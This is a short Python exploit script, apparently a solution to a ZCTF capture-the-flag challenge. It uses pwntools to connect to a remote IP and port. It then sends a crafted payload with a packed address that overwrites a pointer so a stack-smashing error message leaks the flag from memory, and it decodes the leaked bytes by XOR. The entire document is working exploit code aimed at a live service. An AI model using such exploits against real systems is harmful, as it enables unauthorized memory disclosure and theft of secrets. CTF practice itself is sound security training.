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#!/usr/bin/env python
# coding=utf8
from pwn import p64, remote
p = remote('115.28.27.103', 22222)
flag_addr = 0x6010c0
p.sendline('ZCTF{' + '\x01'*29 + '\x00'*262 + p64(flag_addr+5))
p.recvuntil('***: ')
xored_flag = p.recv(29)
print 'ZCTF{' + ''.join([chr(ord(i) ^ 1) for i in xored_flag])
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